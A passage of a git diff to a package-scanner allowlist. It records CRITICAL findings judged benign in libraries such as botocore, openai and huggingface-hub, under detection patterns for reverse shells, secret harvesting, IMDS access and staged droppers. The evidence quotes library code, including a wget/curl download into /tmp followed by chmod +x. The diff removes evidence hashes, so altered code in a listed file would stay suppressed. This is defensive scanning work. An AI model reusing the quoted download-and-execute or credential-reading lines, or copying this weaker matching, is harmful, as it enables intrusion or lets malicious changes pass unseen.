set[tuple[str, str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json index 58b7f95ab1..f953f4d206 100644 --- a/scripts/scan_packages_baseline.json +++ b/scripts/scan_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_packages.py allowlist (reviewed). Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", + "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line.", "version": 1, "entries": [ { @@ -7,1624 +7,1302 @@ "file": "botocore/credentials.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", - "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" + "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", - "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" + "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", - "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" + "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2'\nNetwork: L32: from urllib.request import getpro" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", - "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" + "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" }, { "package": "botocore", "file": "botocore/utils.py", "check": "Reads credential paths AND makes network calls", "severity": "CRITICAL", - "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", - "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" + "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass" }, { "package": "click", "file": "click/testing.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", - "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" + "evidence": "L91: os.dup2(self._tmpfile.fileno(), self._targetfd) | L95: os.dup2(self.saved_fd, self._targetfd)" }, { "package": "datasets", "file": "datasets/utils/file_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", - "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" - }, - { - "package": "datasets", - "file": "datasets/utils/file_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", - "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" + "evidence": "L441: while True:" }, { "package": "diffusers", "file": "diffusers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1052: return importlib.import_module(\".\" + module_name, self.__name__)", - "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + "evidence": "L1015: return importlib.import_module(\".\" + module_name, self.__name__)" }, { "package": "diffusers", "file": "diffusers/utils/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L236: value = os.environ[key]\nNetwork: L691: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", - "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" + "evidence": "Env: L233: value = os.environ[key]\nNetwork: L688: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728: image = PIL.Image.open(requests.get(image, st" }, { "package": "dill", "file": "dill/_objects.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", - "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" + "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()" + }, + { + "package": "execnet", + "file": "execnet/gateway_base.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L1783: os.dup2(fd, 0) | L1789: os.dup2(fd, 1) | L1794: os.dup2(fd, 2)" }, { "package": "fastapi", "file": "fastapi/routing.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L587: while True: sha256:06c2c7f15d73bf192e5e3272c5ff5fcaeff7f6774fef5f4eca6ef473ae50e2b3", - "evidence_hash": "57acd497f404c203e4450d0580ad85aa8a33406e8d64ad06fbac6cf47d97b24d" - }, - { - "package": "fastapi", - "file": "fastapi/routing.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L592: while True: sha256:84283c09277ded3296998b2a6a838744457b606829cf5ab5d0da6f222ff020a0", - "evidence_hash": "a7295004315e26a8f3c64fb837521e9fdd7268219bb43e000fb0236ab0259223" + "evidence": "L579: while True:" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", - "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" + "evidence": "Archive: L1340: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as clie" }, { "package": "fastmcp-slim", "file": "fastmcp/cli/apps_dev.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", - "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4" + "evidence": "FS: L624: history.replaceState(null, \"\", url);\nNetwork: L1291: with httpx.Client(timeout=30.0) as client: | L1305: with httpx.Client(timeout=30.0) as client: | L1335: with httpx.Client(timeout=30.0) as client:" }, { "package": "fonttools", "file": "fontTools/diff/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", - "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" + "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())" }, { "package": "fonttools", "file": "fontTools/ttLib/ttFont.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", - "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" + "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)" }, { "package": "httpx", "file": "httpx/_models.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", - "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/_sandbox.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38", - "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/_sandbox.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"", - "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22" + "evidence": "FS: L528: history: list[Response] | None = None,\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L4677: while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb", - "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/hf_api.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", - "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" + "evidence": "L4577: while True:" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", - "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" + "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958", - "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e" - }, - { - "package": "huggingface-hub", - "file": "huggingface_hub/utils/_http.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", - "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" + "evidence": "L428: while True:" }, { "package": "ipython", "file": "IPython/core/interactiveshell.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", - "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" + "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)" }, { "package": "ipython", "file": "IPython/terminal/pt_inputhooks/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", - "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" + "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)" }, { "package": "ipython", "file": "IPython/utils/py3compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", - "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" + "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)" }, { "package": "jaraco-context", "file": "jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", - "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" + "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)" }, { "package": "matplotlib", "file": "matplotlib/backends/backend_webagg.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", - "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" + "evidence": "L56: if not webbrowser.open(url):" }, { "package": "multiprocess", "file": "multiprocess/forkserver.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", - "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" + "evidence": "L5: import socket" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", - "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", - "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" + "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)" }, { "package": "numba", "file": "numba/pycc/decorators.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", - "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" + "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1016: os.dup2(w, fd) | L1021: os.dup2(save, fd)", - "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" + "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)" }, { "package": "numba", "file": "numba/tests/test_codegen.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", - "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" + "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])" }, { "package": "numpy", "file": "numpy/f2py/capi_maps.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L159: d = eval(f.read().lower(), {}, {})", - "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" + "evidence": "L159: d = eval(f.read().lower(), {}, {})" }, { "package": "numpy", "file": "numpy/lib/tests/test__datasource.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", - "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" + "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L274: while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6", - "evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66" + "evidence": "L264: while True:" }, { "package": "openai", "file": "openai/_client.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", - "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" + "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521" }, { "package": "openai", "file": "openai/auth/_workload.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L97: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L150: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L78: http_client: httpx.Client | None = None, | L109: with httpx.Client() as client: | L134: http_client: httpx.Client | None = None, | L156: with httpx.Client() as client: | L251: exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()", - "evidence_hash": "9717e51cb961dc14c458955d91a1e48e3753997346ecea0106bded3a8d64bfe0" + "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | " }, { "package": "openai", "file": "openai/lib/azure.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", - "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" + "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou" }, { "package": "openai", "file": "openai/lib/bedrock.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", - "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" - }, - { - "package": "openai", - "file": "openai/resources/beta/responses/responses.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L4000: while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd", - "evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f" + "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht" }, { "package": "openai", "file": "openai/resources/beta/threads/runs/runs.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1053: while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce", - "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b" + "evidence": "L1074: while True:" }, { "package": "openai", "file": "openai/resources/realtime/realtime.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L311: while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5", - "evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650" + "evidence": "L310: while True:" }, { "package": "openai", "file": "openai/resources/responses/responses.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L3951: while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac", - "evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f" + "evidence": "L3803: while True:" }, { "package": "openai", "file": "openai/resources/vector_stores/file_batches.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", - "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" + "evidence": "L347: while True:" }, { "package": "openai", "file": "openai/resources/vector_stores/files.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", - "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" + "evidence": "L376: while True:" }, { "package": "openai", "file": "openai/resources/videos.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", - "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" + "evidence": "L186: while True:" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", - "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" + "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..." }, { "package": "ptyprocess", "file": "ptyprocess/_fork_pty.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", - "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" + "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)" }, { "package": "pyarrow", "file": "pyarrow/tests/conftest.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", - "evidence_hash": 